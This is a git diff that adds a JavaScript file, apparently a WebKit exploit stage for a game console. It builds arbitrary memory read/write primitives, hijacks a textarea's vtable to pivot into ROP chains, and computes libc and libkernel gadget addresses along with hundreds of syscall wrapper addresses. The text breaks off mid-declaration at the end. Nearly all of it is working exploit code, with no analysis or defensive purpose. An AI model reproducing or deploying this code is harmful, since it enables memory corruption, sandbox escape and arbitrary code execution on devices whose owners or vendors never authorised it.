diff --git a/702/702.js b/702/702.js new file mode 100644 index 00000000..f010a369 --- /dev/null +++ b/702/702.js @@ -0,0 +1,813 @@ +p = window.prim; +var oob_master = new Uint32Array(1024); +var oob_slave = new Uint8Array(1024); +var leaker_arr = new Uint32Array(1024); +var leaker_obj = {a: 1234}; +p.write8(p.leakval(oob_master).add32(16), p.leakval(oob_slave)); +p.write8(p.leakval(leaker_arr).add32(16), p.leakval(leaker_obj)); + +var i48_put = function(x, a) +{ + a[4] = x | 0; + a[5] = (x / 4294967296) | 0; +} + +var i48_get = function(a) +{ + return a[4] + a[5] * 4294967296; +} + +var addrof = function(x) +{ + leaker_obj.a = x; + return i48_get(leaker_arr); +} + +var fakeobj = function(x) +{ + i48_put(x, leaker_arr); + return leaker_obj.a; +} + +var read_mem_setup = function(p, sz) +{ + i48_put(p, oob_master); + oob_master[6] = sz; +} + +var read_mem = function(p, sz) +{ + read_mem_setup(p, sz); + var arr = []; + for(var i = 0; i < sz; i++) + arr.push(oob_slave[i]); + return arr; +} + +var read_mem_s = function(p, sz) +{ + read_mem_setup(p, sz); + return ""+oob_slave; +} + +var read_mem_b = function(p, sz) +{ + read_mem_setup(p, sz); + var b = new Uint8Array(sz); + b.set(oob_slave); + return b; +} + +var read_mem_as_string = function(p, sz) +{ + var x = read_mem_b(p, sz); + var ans = ''; + for(var i = 0; i < x.length; i++) + ans += String.fromCharCode(x[i]); + return ans; +} + +var write_mem = function(p, data) +{ + i48_put(p, oob_master); + oob_master[6] = data.length; + for(var i = 0; i < data.length; i++) + oob_slave[i] = data[i]; +} + +var read_ptr_at = function(p) +{ + var ans = 0; + var d = read_mem(p, 8); + for(var i = 7; i >= 0; i--) + ans = 256 * ans + d[i]; + return ans; +} + +var write_ptr_at = function(p, d) +{ + var arr = []; + for(var i = 0; i < 8; i++) + { + arr.push(d & 0xff); + d /= 256; + } + write_mem(p, arr); +} + +var hex = function(x) +{ + return (new Number(x)).toString(16); +} +var malloc_nogc = []; +function malloc(sz) +{ + var arr = new Uint8Array(sz); + malloc_nogc.push(arr); + return read_ptr_at(addrof(arr)+0x10); +} +var tarea = document.createElement('textarea'); + +var real_vt_ptr = read_ptr_at(addrof(tarea)+0x18); +var fake_vt_ptr = malloc(0x400); +write_mem(fake_vt_ptr, read_mem(real_vt_ptr, 0x400)); + +var real_vtable = read_ptr_at(fake_vt_ptr); +var fake_vtable = malloc(0x2000); +write_mem(fake_vtable, read_mem(real_vtable, 0x2000)); +write_ptr_at(fake_vt_ptr, fake_vtable); + +var fake_vt_ptr_bak = malloc(0x400); +write_mem(fake_vt_ptr_bak, read_mem(fake_vt_ptr, 0x400)); + +var plt_ptr = read_ptr_at(fake_vtable) - 10117000; + +function get_got_addr(idx) +{ + var p = plt_ptr + idx * 16; + var q = read_mem(p, 6); + if(q[0] != 0xff || q[1] != 0x25) + throw "invalid GOT entry"; + var offset = 0; + for(var i = 5; i >= 2; i--) + offset = offset * 256 + q[i]; + offset += p + 6; + return read_ptr_at(offset); +} + +//these are not real bases but rather some low addresses +var webkit_base = read_ptr_at(fake_vtable); +var libkernel_base = get_got_addr(789); +var libc_base = get_got_addr(573); +var saveall_addr = libc_base+0x24174; +var loadall_addr = libc_base+0x285c8; +//var setjmp_addr = libc_base+???; +//var longjmp_addr = libc_base+???; +var pivot_addr = libc_base+0x2863e; +var infloop_addr = libc_base+0x3a9d0; +var jop_frame_addr = libc_base+0x67850; +var get_errno_addr_addr = libkernel_base+0x116c0; +var pthread_create_addr = libkernel_base+0x16fe0; + +function saveall() +{ + var ans = malloc(0x800); + var bak = read_ptr_at(fake_vtable+0x1d8); + write_ptr_at(fake_vtable+0x1d8, saveall_addr); + write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr); + tarea.scrollLeft = 0; + write_ptr_at(addrof(tarea)+0x18, real_vt_ptr); + write_mem(ans, read_mem(fake_vt_ptr, 0x400)); + write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400)); + var bak = read_ptr_at(fake_vtable+0x1d8); + write_ptr_at(fake_vtable+0x1d8, saveall_addr); + write_ptr_at(fake_vt_ptr+0x38, 0x1234); + write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr); + tarea.scrollLeft = 0; + write_ptr_at(addrof(tarea)+0x18, real_vt_ptr); + write_mem(ans+0x400, read_mem(fake_vt_ptr, 0x400)); + write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400)); + return ans; +} + +/* PUBLIC ROP API + +This function is used to execute ROP chains. `buf` is an address of the start of the ROP chain. +* first 8 bytes of `buf` should be allocated but not used -- they are used internally. +* the actual ROP chain starts at `buf+8` +* jump to `pivot_addr` to return +*/ +function pivot(buf) +{ + var ans = malloc(0x400); + var bak = read_ptr_at(fake_vtable+0x1d8); + write_ptr_at(fake_vtable+0x1d8, saveall_addr); + write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr); + tarea.scrollLeft = 0; + write_ptr_at(addrof(tarea)+0x18, real_vt_ptr); + write_mem(ans, read_mem(fake_vt_ptr, 0x400)); + write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400)); + var bak = read_ptr_at(fake_vtable+0x1d8); + write_ptr_at(fake_vtable+0x1d8, pivot_addr); + write_ptr_at(fake_vt_ptr+0x38, buf); + write_ptr_at(ans+0x38, read_ptr_at(ans+0x38)-16); + write_ptr_at(buf, ans); + write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr); + tarea.scrollLeft = 0; + write_ptr_at(addrof(tarea)+0x18, real_vt_ptr); + write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400)); +} +var sys_545_addr = libkernel_base + 0x264a0; +var sys_47_addr = libkernel_base + 0x264c0; +var sys_554_addr = libkernel_base + 0x264e0; +var sys_35_addr = libkernel_base + 0x26500; +var sys_559_addr = libkernel_base + 0x26520; +var sys_643_addr = libkernel_base + 0x26540; +var sys_433_addr = libkernel_base + 0x26560; +var sys_183_addr = libkernel_base + 0x26580; +var sys_196_addr = libkernel_base + 0x265a0; +var sys_33_addr = libkernel_base + 0x265c0; +var sys_330_addr = libkernel_base + 0x265e0; +var sys_478_addr = libkernel_base + 0x26600; +var sys_79_addr = libkernel_base + 0x26620; +var sys_639_addr = libkernel_base + 0x26640; +var sys_147_addr = libkernel_base + 0x26660; +var sys_363_addr = libkernel_base + 0x26680; +var sys_596_addr = libkernel_base + 0x266a0; +var sys_333_addr = libkernel_base + 0x266c0; +var sys_655_addr = libkernel_base + 0x266e0; +var sys_334_addr = libkernel_base + 0x26700; +var sys_552_addr = libkernel_base + 0x26720; +var sys_637_addr = libkernel_base + 0x26740; +var sys_664_addr = libkernel_base + 0x26760; +var sys_120_addr = libkernel_base + 0x26780; +var sys_80_addr = libkernel_base + 0x267a0; +var sys_543_addr = libkernel_base + 0x26870; +var sys_553_addr = libkernel_base + 0x26890; +var sys_580_addr = libkernel_base + 0x268b0; +var sys_482_addr = libkernel_base + 0x268d0; +var sys_564_addr = libkernel_base + 0x268f0; +var sys_649_addr = libkernel_base + 0x26910; +var sys_238_addr = libkernel_base + 0x26930; +var sys_5_addr = libkernel_base + 0x26950; +var sys_340_addr = libkernel_base + 0x26973; +var sys_673_addr = libkernel_base + 0x26a00; +var sys_29_addr = libkernel_base + 0x26a20; +var sys_232_addr = libkernel_base + 0x26a40; +var sys_604_addr = libkernel_base + 0x26a60; +var sys_442_addr = libkernel_base + 0x26a80; +var sys_594_addr = libkernel_base + 0x26aa0; +var sys_116_addr = libkernel_base + 0x26ac0; +var sys_190_addr = libkernel_base + 0x26ae0; +var sys_346_addr = libkernel_base + 0x26b00; +var sys_613_addr = libkernel_base + 0x26b20; +var sys_1_addr = libkernel_base + 0x26b50; +var sys_50_addr = libkernel_base + 0x26b70; +var sys_10_addr = libkernel_base + 0x26ba0; +var sys_27_addr = libkernel_base + 0x26bc0; +var sys_663_addr = libkernel_base + 0x26be0; +var sys_102_addr = libkernel_base + 0x26c00; +var sys_546_addr = libkernel_base + 0x26c20; +var sys_182_addr = libkernel_base + 0x26c40; +var sys_566_addr = libkernel_base + 0x26c60; +var sys_611_addr = libkernel_base + 0x26c80; +var sys_560_addr = libkernel_base + 0x26ca0; +var sys_572_addr = libkernel_base + 0x26cc0; +var sys_234_addr = libkernel_base + 0x26ce0; +var sys_675_addr = libkernel_base + 0x26d00; +var sys_612_addr = libkernel_base + 0x26d20; +var sys_34_addr = libkernel_base + 0x26d40; +var sys_455_addr = libkernel_base + 0x26d60; +var sys_122_addr = libkernel_base + 0x26d80; +var sys_592_addr = libkernel_base + 0x26da0; +var sys_2_addr = libkernel_base + 0x26dc0; +var sys_588_addr = libkernel_base + 0x26de0; +var sys_331_addr = libkernel_base + 0x26e00; +var sys_204_addr = libkernel_base + 0x26e20; +var sys_78_addr = libkernel_base + 0x26e40; +var sys_202_addr = libkernel_base + 0x26e60; +var sys_421_addr = libkernel_base + 0x26e84; +var sys_599_addr = libkernel_base + 0x26eb0; +var sys_237_addr = libkernel_base + 0x26ed0; +var sys_189_addr = libkernel_base + 0x26ef0; +var sys_7_addr = libkernel_base + 0x26f10; +var sys_661_addr = libkernel_base + 0x26f30; +var sys_39_addr = libkernel_base + 0x26f50; +var sys_548_addr = libkernel_base + 0x26f70; +var sys_620_addr = libkernel_base + 0x26f90; +var sys_648_addr = libkernel_base + 0x26fb0; +var sys_340_addr = libkernel_base + 0x26fd0; +var sys_36_addr = libkernel_base + 0x26ff0; +var sys_194_addr = libkernel_base + 0x27010; +var sys_192_addr = libkernel_base + 0x27030; +var sys_615_addr = libkernel_base + 0x27050; +var sys_541_addr = libkernel_base + 0x27070; +var sys_195_addr = libkernel_base + 0x27090; +var sys_43_addr = libkernel_base + 0x270b0; +var sys_486_addr = libkernel_base + 0x270d0; +var sys_315_addr = libkernel_base + 0x270f0; +var sys_98_addr = libkernel_base + 0x27110; +var sys_591_addr = libkernel_base + 0x27130; +var sys_481_addr = libkernel_base + 0x27150; +var sys_422_addr = libkernel_base + 0x27170; +var sys_660_addr = libkernel_base + 0x27190; +var sys_536_addr = libkernel_base + 0x271b0; +var sys_532_addr = libkernel_base + 0x271d0; +var sys_25_addr = libkernel_base + 0x271f0; +var sys_203_addr = libkernel_base + 0x27210; +var sys_37_addr = libkernel_base + 0x27230; +var sys_549_addr = libkernel_base + 0x27250; +var sys_656_addr = libkernel_base + 0x27270; +var sys_44_addr = libkernel_base + 0x27290; +var sys_565_addr = libkernel_base + 0x272b0; +var sys_600_addr = libkernel_base + 0x272d0; +var sys_125_addr = libkernel_base + 0x272f0; +var sys_379_addr = libkernel_base + 0x27310; +var sys_95_addr = libkernel_base + 0x27330; +var sys_583_addr = libkernel_base + 0x27350; +var sys_522_addr = libkernel_base + 0x27370; +var sys_239_addr = libkernel_base + 0x27390; +var sys_55_addr = libkernel_base + 0x273b0; +var sys_544_addr = libkernel_base + 0x273d0; +var sys_134_addr = libkernel_base + 0x273f0; +var sys_289_addr = libkernel_base + 0x27410; +var sys_131_addr = libkernel_base + 0x27430; +var sys_654_addr = libkernel_base + 0x27450; +var sys_124_addr = libkernel_base + 0x27470; +var sys_586_addr = libkernel_base + 0x27490; +var sys_4_addr = libkernel_base + 0x274b0; +var sys_555_addr = libkernel_base + 0x274d0; +var sys_416_addr = libkernel_base + 0x274f0; +var sys_59_addr = libkernel_base + 0x2751d; +var sys_563_addr = libkernel_base + 0x27540; +var sys_329_addr = libkernel_base + 0x27560; +var sys_406_addr = libkernel_base + 0x27580; +var sys_582_addr = libkernel_base + 0x275a0; +var sys_137_addr = libkernel_base + 0x275c0; +var sys_538_addr = libkernel_base + 0x275e0; +var sys_456_addr = libkernel_base + 0x27600; +var sys_677_addr = libkernel_base + 0x27620; +var sys_668_addr = libkernel_base + 0x27640; +var sys_444_addr = libkernel_base + 0x27660; +var sys_669_addr = libkernel_base + 0x27680; +var sys_105_addr = libkernel_base + 0x276a0; +var sys_20_addr = libkernel_base + 0x276c0; +var sys_628_addr = libkernel_base + 0x276e0; +var sys_206_addr = libkernel_base + 0x27700; +var sys_487_addr = libkernel_base + 0x27720; +var sys_618_addr = libkernel_base + 0x27740; +var sys_49_addr = libkernel_base + 0x27760; +var sys_332_addr = libkernel_base + 0x27780; +var sys_670_addr = libkernel_base + 0x277a0; +var sys_595_addr = libkernel_base + 0x277c0; +var sys_431_addr = libkernel_base + 0x277e0; +var sys_104_addr = libkernel_base + 0x27800; +var sys_117_addr = libkernel_base + 0x27820; +var sys_12_addr = libkernel_base + 0x27840; +var sys_587_addr = libkernel_base + 0x27860; +var sys_405_addr = libkernel_base + 0x27880; +var sys_97_addr = libkernel_base + 0x278a0; +var sys_619_addr = libkernel_base + 0x278c0; +var sys_641_addr = libkernel_base + 0x278e0; +var sys_585_addr = libkernel_base + 0x27900; +var sys_671_addr = libkernel_base + 0x27920; +var sys_209_addr = libkernel_base + 0x27940; +var sys_191_addr = libkernel_base + 0x27960; +var sys_407_addr = libkernel_base + 0x27980; +var sys_83_addr = libkernel_base + 0x279a0; +var sys_240_addr = libkernel_base + 0x279c0; +var sys_602_addr = libkernel_base + 0x279e0; +var sys_42_addr = libkernel_base + 0x27a00; +var sys_41_addr = libkernel_base + 0x27a30; +var sys_408_addr = libkernel_base + 0x27a50; +var sys_551_addr = libkernel_base + 0x27a70; +var sys_488_addr = libkernel_base + 0x27a90; +var sys_99_addr = libkernel_base + 0x27ab0; +var sys_624_addr = libkernel_base + 0x27ad0; +var sys_310_addr = libkernel_base + 0x27af0; +var sys_138_addr = libkernel_base + 0x27b10; +var sys_328_addr = libkernel_base + 0x27b30; +var sys_475_addr = libkernel_base + 0x27b50; +var sys_30_addr = libkernel_base + 0x27b70; +var sys_499_addr = libkernel_base + 0x27b90; +var sys_253_addr = libkernel_base + 0x27bb0; +var sys_56_addr = libkernel_base + 0x27bd0; +var sys_593_addr = libkernel_base + 0x27bf0; +var sys_114_addr = libkernel_base + 0x27c10; +var sys_676_addr = libkernel_base + 0x27c30; +var sys_235_addr = libkernel_base + 0x27c50; +var sys_126_addr = libkernel_base + 0x27c70; +var sys_598_addr = libkernel_base + 0x27c90; +var sys_608_addr = libkernel_base + 0x27cb0; +var sys_136_addr = libkernel_base + 0x27cd0; +var sys_636_addr = libkernel_base + 0x27cf0; +var sys_402_addr = libkernel_base + 0x27d10; +var sys_629_addr = libkernel_base + 0x27d30; +var sys_556_addr = libkernel_base + 0x27d50; +var sys_435_addr = libkernel_base + 0x27d70; +var sys_657_addr = libkernel_base + 0x27d90; +var sys_605_addr = libkernel_base + 0x27db0; +var sys_432_addr = libkernel_base + 0x27dd0; +var sys_627_addr = libkernel_base + 0x27df0; +var sys_31_addr = libkernel_base + 0x27e10; +var sys_417_addr = libkernel_base + 0x27e30; +var sys_272_addr = libkernel_base + 0x27e50; +var sys_165_addr = libkernel_base + 0x27e70; +var sys_441_addr = libkernel_base + 0x27e90; +var sys_632_addr = libkernel_base + 0x27eb0; +var sys_113_addr = libkernel_base + 0x27ed0; +var sys_397_addr = libkernel_base + 0x27ef0; +var sys_23_addr = libkernel_base + 0x27f10; +var sys_140_addr = libkernel_base + 0x27f30; +var sys_28_addr = libkernel_base + 0x27f50; +var sys_635_addr = libkernel_base + 0x27f70; +var sys_581_addr = libkernel_base + 0x27f90; +var sys_659_addr = libkernel_base + 0x27fb0; +var sys_603_addr = libkernel_base + 0x27fd0; +var sys_610_addr = libkernel_base + 0x27ff0; +var sys_666_addr = libkernel_base + 0x28010; +var sys_236_addr = libkernel_base + 0x28030; +var sys_634_addr = libkernel_base + 0x28050; +var sys_121_addr = libkernel_base + 0x28070; +var sys_401_addr = libkernel_base + 0x28090; +var sys_642_addr = libkernel_base + 0x280b0; +var sys_540_addr = libkernel_base + 0x280d0; +var sys_73_addr = libkernel_base + 0x280f0; +var sys_59_addr = libkernel_base + 0x28110; +var sys_539_addr = libkernel_base + 0x28130; +var sys_623_addr = libkernel_base + 0x28150; +var sys_672_addr = libkernel_base + 0x28170; +var sys_392_addr = libkernel_base + 0x28190; +var sys_74_addr = libkernel_base + 0x281b0; +var sys_327_addr = libkernel_base + 0x281d0; +var sys_15_addr = libkernel_base + 0x281f0; +var sys_325_addr = libkernel_base + 0x28210; +var sys_141_addr = libkernel_base + 0x28230; +var sys_54_addr = libkernel_base + 0x28250; +var sys_674_addr = libkernel_base + 0x28270; +var sys_430_addr = libkernel_base + 0x28290; +var sys_127_addr = libkernel_base + 0x282b0; +var sys_483_addr = libkernel_base + 0x282d0; +var sys_133_addr = libkernel_base + 0x282f0; +var sys_434_addr = libkernel_base + 0x28310; +var sys_92_addr = libkernel_base + 0x28330; +var sys_324_addr = libkernel_base + 0x28350; +var sys_128_addr = libkernel_base + 0x28370; +var sys_454_addr = libkernel_base + 0x28390; +var sys_341_addr = libkernel_base + 0x283a0; +var sys_75_addr = libkernel_base + 0x283c0; +var sys_558_addr = libkernel_base + 0x283e0; +var sys_423_addr = libkernel_base + 0x28400; +var sys_638_addr = libkernel_base + 0x28420; +var sys_477_addr = libkernel_base + 0x28440; +var sys_584_addr = libkernel_base + 0x28460; +var sys_550_addr = libkernel_base + 0x28480; +var sys_106_addr = libkernel_base + 0x284a0; +var sys_135_addr = libkernel_base + 0x284c0; +var sys_647_addr = libkernel_base + 0x284e0; +var sys_443_addr = libkernel_base + 0x28500; +var sys_466_addr = libkernel_base + 0x28520; +var sys_542_addr = libkernel_base + 0x28540; +var sys_454_addr = libkernel_base + 0x28560; +var sys_429_addr = libkernel_base + 0x28580; +var sys_393_addr = libkernel_base + 0x285a0; +var sys_658_addr = libkernel_base + 0x285c0; +var sys_404_addr = libkernel_base + 0x285e0; +var sys_101_addr = libkernel_base + 0x28600; +var sys_96_addr = libkernel_base + 0x28620; +var sys_118_addr = libkernel_base + 0x28640; +var sys_640_addr = libkernel_base + 0x28660; +var sys_6_addr = libkernel_base + 0x28680; +var sys_601_addr = libkernel_base + 0x286a0; +var sys_653_addr = libkernel_base + 0x286c0; +var sys_479_addr = libkernel_base + 0x286e0; +var sys_626_addr = libkernel_base + 0x28700; +var sys_557_addr = libkernel_base + 0x28720; +var sys_646_addr = libkernel_base + 0x28740; +var sys_533_addr = libkernel_base + 0x28760; +var sys_400_addr = libkernel_base + 0x28780; +var sys_535_addr = libkernel_base + 0x287a0; +var sys_616_addr = libkernel_base + 0x287c0; +var sys_464_addr = libkernel_base + 0x287e0; +var sys_93_addr = libkernel_base + 0x28800; +var sys_633_addr = libkernel_base + 0x28820; +var sys_662_addr = libkernel_base + 0x28840; +var sys_65_addr = libkernel_base + 0x28860; +var sys_53_addr = libkernel_base + 0x28880; +var sys_617_addr = libkernel_base + 0x288a0; +var sys_90_addr = libkernel_base + 0x288c0; +var sys_233_addr = libkernel_base + 0x288e0; +var sys_403_addr = libkernel_base + 0x28900; +var sys_622_addr = libkernel_base + 0x28920; +var sys_667_addr = libkernel_base + 0x28940; +var sys_625_addr = libkernel_base + 0x28960; +var sys_362_addr = libkernel_base + 0x28980; +var sys_567_addr = libkernel_base + 0x289a0; +var sys_32_addr = libkernel_base + 0x289c0; +var sys_607_addr = libkernel_base + 0x289e0; +var sys_665_addr = libkernel_base + 0x28a00; +var sys_547_addr = libkernel_base + 0x28a20; +var sys_251_addr = libkernel_base + 0x28a49; +var sys_1_addr = libkernel_base + 0x28a6a; +var sys_345_addr = libkernel_base + 0x28a90; +var sys_100_addr = libkernel_base + 0x28ab0; +var sys_652_addr = libkernel_base + 0x28ad0; +var sys_89_addr = libkernel_base + 0x28af0; +var sys_606_addr = libkernel_base + 0x28b10; +var sys_534_addr = libkernel_base + 0x28b30; +var sys_24_addr = libkernel_base + 0x28b50; +var sys_476_addr = libkernel_base + 0x28b70; +var sys_480_addr = libkernel_base + 0x28b90; +var sys_343_addr = libkernel_base + 0x28bb0; +var sys_630_addr = libkernel_base + 0x28bd0; +var sys_86_addr = libkernel_base + 0x28bf0; +var sys_3_addr = libkernel_base + 0x28c10; +var sys_188_addr = libkernel_base + 0x28c30; +var sys_290_addr = libkernel_base + 0x28c50; +var evf_clear_addr = sys_545_addr; +var getgid_addr = sys_47_addr; +var osem_trywait_addr = sys_554_addr; +var fchflags_addr = sys_35_addr; +var set_vm_container_addr = sys_559_addr; +var set_chicken_switches_addr = sys_643_addr; +var thr_kill_addr = sys_433_addr; +var seteuid_addr = sys_183_addr; +var getdirentries_addr = sys_196_addr; +var access_addr = sys_33_addr; +var sched_getscheduler_addr = sys_330_addr; +var lseek_addr = sys_478_addr; +var getgroups_addr = sys_79_addr; +var localtime_to_utc_addr = sys_639_addr; +var setsid_addr = sys_147_addr; +var kevent_addr = sys_363_addr; +var dynlib_do_copy_relocations_addr = sys_596_addr; +var sched_get_priority_min_addr = sys_333_addr; +var blockpool_unmap_addr = sys_655_addr; +var sched_rr_get_interval_addr = sys_334_addr; +var osem_close_addr = sys_552_addr; +var set_phys_fmem_limit_addr = sys_637_addr; +var aio_multi_poll_addr = sys_664_addr; +var readv_addr = sys_120_addr; +var setgroups_addr = sys_80_addr; +var evf_trywait_addr = sys_543_addr; +var osem_wait_addr = sys_553_addr; +var eport_create_addr = sys_580_addr; +var shm_open_addr = sys_482_addr; +var opmc_disable_addr = sys_564_addr; +var dynlib_get_obj_member_addr = sys_649_addr; +var ktimer_gettime_addr = sys_238_addr; +var open_addr = sys_5_addr; +var sigprocmask_addr = sys_340_addr; +var blockpool_move_addr = sys_673_addr; +var recvfrom_addr = sys_29_addr; +var clock_gettime_addr = sys_232_addr; +var dl_get_metadata_addr = sys_604_addr; +var thr_suspend_addr = sys_442_addr; +var dynlib_load_prx_addr = sys_594_addr; +var gettimeofday_addr = sys_116_addr; +var lstat_addr = sys_190_addr; +var sigwaitinfo_addr = sys_346_addr; +var get_resident_count_addr = sys_613_addr; +var sys_exit_addr = sys_1_addr; +var setlogin_addr = sys_50_addr; +var unlink_addr = sys_10_addr; +var recvmsg_addr = sys_27_addr; +var aio_multi_wait_addr = sys_663_addr; +var netgetsockinfo_addr = sys_102_addr; +var evf_cancel_addr = sys_546_addr; +var setegid_addr = sys_182_addr; +var opmc_set_ctr_addr = sys_566_addr; +var get_paging_stats_of_all_threads_addr = sys_611_addr; +var debug_init_addr = sys_560_addr; +var virtual_query_addr = sys_572_addr; +var clock_getres_addr = sys_234_addr; +var reserve_2mb_page_addr = sys_675_addr; +var get_proc_type_info_addr = sys_612_addr; +var chflags_addr = sys_34_addr; +var thr_new_addr = sys_455_addr; +var settimeofday_addr = sys_122_addr; +var dynlib_get_list_addr = sys_592_addr; +var fork_addr = sys_2_addr; +var mname_addr = sys_588_addr; +var sched_yield_addr = sys_331_addr; +var munlock_addr = sys_204_addr; +var mincore_addr = sys_78_addr; +var __sysctl_addr = sys_202_addr; +var getcontext_addr = sys_421_addr; +var dynlib_process_needed_and_relocate_addr = sys_599_addr; +var ktimer_settime_addr = sys_237_addr; +var fstat_addr = sys_189_addr; +var wait4_addr = sys_7_addr; +var aio_submit_addr = sys_661_addr; +var getppid_addr = sys_39_addr; +var batch_map_addr = sys_548_addr; +var free_stack_addr = sys_620_addr; +var app_state_change_addr = sys_648_addr; +var sigprocmask_addr = sys_340_addr; +var sync_addr = sys_36_addr; +var getrlimit_addr = sys_194_addr; +var fpathconf_addr = sys_192_addr; +var get_resident_fmem_count_addr = sys_615_addr; +var evf_close_addr = sys_541_addr; +var setrlimit_addr = sys_195_addr; +var getegid_addr = sys_43_addr; +var cpuset_getid_addr = sys_486_addr; +var aio_suspend_addr = sys_315_addr; +var connect_addr = sys_98_addr; +var dynlib_dlsym_addr = sys_591_addr; +var thr_kill2_addr = sys_481_addr; +var setcontext_addr = sys_422_addr; +var dynlib_get_info2_addr = sys_660_addr; +var dl_get_info_addr = sys_536_addr; +var regmgr_call_addr = sys_532_addr; +var geteuid_addr = sys_25_addr; +var mlock_addr = sys_203_addr; +var kill_addr = sys_37_addr; +var osem_create_addr = sys_549_addr; +var dynlib_get_info_for_libdbg_addr = sys_656_addr; +var profil_addr = sys_44_addr; +var opmc_set_ctl_addr = sys_565_addr; +var sandbox_path_addr = sys_600_addr; +var netgetiflist_addr = sys_125_addr; +var mtypeprotect_addr = sys_379_addr; +var fsync_addr = sys_95_addr; +var eport_open_addr = sys_583_addr; +var pselect_addr = sys_522_addr; +var ktimer_getoverrun_addr = sys_239_addr; +var reboot_addr = sys_55_addr; +var evf_set_addr = sys_544_addr; +var shutdown_addr = sys_134_addr; +var preadv_addr = sys_289_addr; +var flock_addr = sys_131_addr; +var blockpool_map_addr = sys_654_addr; +var fchmod_addr = sys_124_addr; +var dmem_container_addr = sys_586_addr; +var write_addr = sys_4_addr; +var osem_post_addr = sys_555_addr; +var sigaction_addr = sys_416_addr; +var execve_addr = sys_59_addr; +var opmc_enable_addr = sys_563_addr; +var sched_setscheduler_addr = sys_329_addr; +var ksem_unlink_addr = sys_406_addr; +var eport_trigger_addr = sys_582_addr; +var rmdir_addr = sys_137_addr; +var evf_create_addr = sys_538_addr; +var sigqueue_addr = sys_456_addr; +var get_phys_page_size_addr = sys_677_addr; +var aio_create_addr = sys_668_addr; +var kldunloadf_addr = sys_444_addr; +var aio_submit_cmd_addr = sys_669_addr; +var setsockopt_addr = sys_105_addr; +var getpid_addr = sys_20_addr; +var mmap_dmem_addr = sys_628_addr; +var futimes_addr = sys_206_addr; +var cpuset_getaffinity_addr = sys_487_addr; +var get_paging_stats_of_all_objects_addr = sys_618_addr; +var getlogin_addr = sys_49_addr; +var sched_get_priority_max_addr = sys_332_addr; +var aio_init_addr = sys_670_addr; +var dynlib_unload_prx_addr = sys_595_addr; +var thr_exit_addr = sys_431_addr; +var bind_addr = sys_104_addr; +var getrusage_addr = sys_117_addr; +var chdir_addr = sys_12_addr; +var get_authinfo_addr = sys_587_addr; +var ksem_open_addr = sys_405_addr; +var socket_addr = sys_97_addr; +var test_debug_rwmem_addr = sys_619_addr; +var get_cpu_usage_proc_addr = sys_641_addr; +var is_in_sandbox_addr = sys_585_addr; +var get_page_table_stats_addr = sys_671_addr; +var poll_addr = sys_209_addr; +var pathconf_addr = sys_191_addr; +var ksem_getvalue_addr = sys_407_addr; +var setitimer_addr = sys_83_addr; +var nanosleep_addr = sys_240_addr; +var randomized_path_addr = sys_602_addr; +var pipe_addr = sys_42_addr; +var dup_addr = sys_41_addr; +var ksem_destroy_addr = sys_408_addr; +var osem_open_addr = sys_551_addr; +var cpuset_setaffinity_addr = sys_488_addr; +var netcontrol_addr = sys_99_addr; +var get_vm_map_timestamp_addr = sys_624_addr; +var getsid_addr = sys_310_addr; +var utimes_addr = sys_138_addr; +var sched_getparam_addr = sys_328_addr; +var pread_addr = sys_475_addr; +var accept_addr = sys_30_addr; +var openat_addr = sys_499_addr; +var issetugid_addr = sys_253_addr; +var revoke_addr = sys_56_addr; +var dynlib_get_info_addr = sys_593_addr; +var socketclose_addr = sys_114_addr; +var cpumode_yield_addr = sys_676_addr; +var ktimer_create_addr = sys_235_addr; +var setreuid_addr = sys_126_addr; +var dynlib_get_proc_param_addr = sys_598_addr; +var dynlib_get_info_ex_addr = sys_608_addr; +var mkdir_addr = sys_136_addr; +var set_timezone_info_addr = sys_636_addr; +var ksem_wait_addr = sys_402_addr; +var physhm_open_addr = sys_629_addr; +var osem_cancel_addr = sys_556_addr; +var _umtx_unlock_addr = sys_435_addr; +var blockpool_batch_addr = sys_657_addr; +var workaround8849_addr = sys_605_addr; +var thr_self_addr = sys_432_addr; +var get_cpu_usage_all_addr = sys_627_addr; +var getpeername_addr = sys_31_addr; +var sigreturn_addr = sys_417_addr; +var getdents_addr = sys_272_addr; +var sysarch_addr = sys_165_addr; +var ksem_timedwait_addr = sys_441_addr; +var thr_suspend_ucontext_addr = sys_632_addr; +var socketex_addr = sys_113_addr; +var fstatfs_addr = sys_397_addr; +var setuid_addr = sys_23_addr; +var adjtime_addr = sys_140_addr; +var sendmsg_addr = sys_28_addr; +var thr_set_ucontext_addr = sys_635_addr; +var eport_delete_addr = sys_581_addr; +var dynlib_get_list2_addr = sys_659_addr; +var rdup_addr = sys_603_addr; +var budget_get_ptype_addr = sys_610_addr; +var aio_multi_cancel_addr = sys_666_addr; +var ktimer_delete_addr = sys_236_addr; +var thr_get_ucontext_addr = sys_634_addr; +var writev_addr = sys_121_addr; +var ksem_post_addr = sys_401_addr; +var get_map_statistics_addr = sys_642_addr; +var evf_open_addr = sys_540_addr; +var munmap_addr = sys_73_addr; +var execve_addr = sys_59_addr; +var evf_delete_addr = sys_539_addr; +var get_gpo_addr = sys_623_addr; +var dynlib_get_list_for_libdbg_addr = sys_672_addr; +var uuidgen_addr = sys_392_addr; +var mprotect_addr = sys_74_addr; +var sched_setparam_addr = sys_327_addr; +var chmod_addr = sys_15_addr; +var munlockall_addr = sys_325_addr; +var kqueueex_addr = sys_141_addr; +var ioctl_addr = sys_54_addr; +var virtual_query_all_addr = sys_674_addr; +var thr_create_addr = sys_430_addr; +var setregid_addr = sys_127_addr; +var shm_unlink_addr = sys_483_addr; +var sendto_addr = sys_133_addr; +var _umtx_lock_addr = sys_434_addr; +var fcntl_addr = sys_92_addr; +var mlockall_addr = sys_324_addr; +var rename_addr = sys_128_addr; +var _umtx_op_addr = sys_454_addr; +var sigsuspend_addr = sys_341_addr; +var madvise_addr = sys_75_addr; +var namedobj_delete_addr = sys_558_addr; +var swapcontext_addr = sys_423_addr; +var utc_to_localtime_addr = sys_638_addr; +var mmap_addr = sys_477_addr; +var eport_close_addr = sys_584_addr; +var osem_delete_addr = sys_550_addr; +var listen_addr = sys_106_addr; +var socketpair_addr = sys_135_addr; +var get_sdk_compiled_version_addr = sys_647_addr; +var thr_wake_addr = sys_443_addr; +var 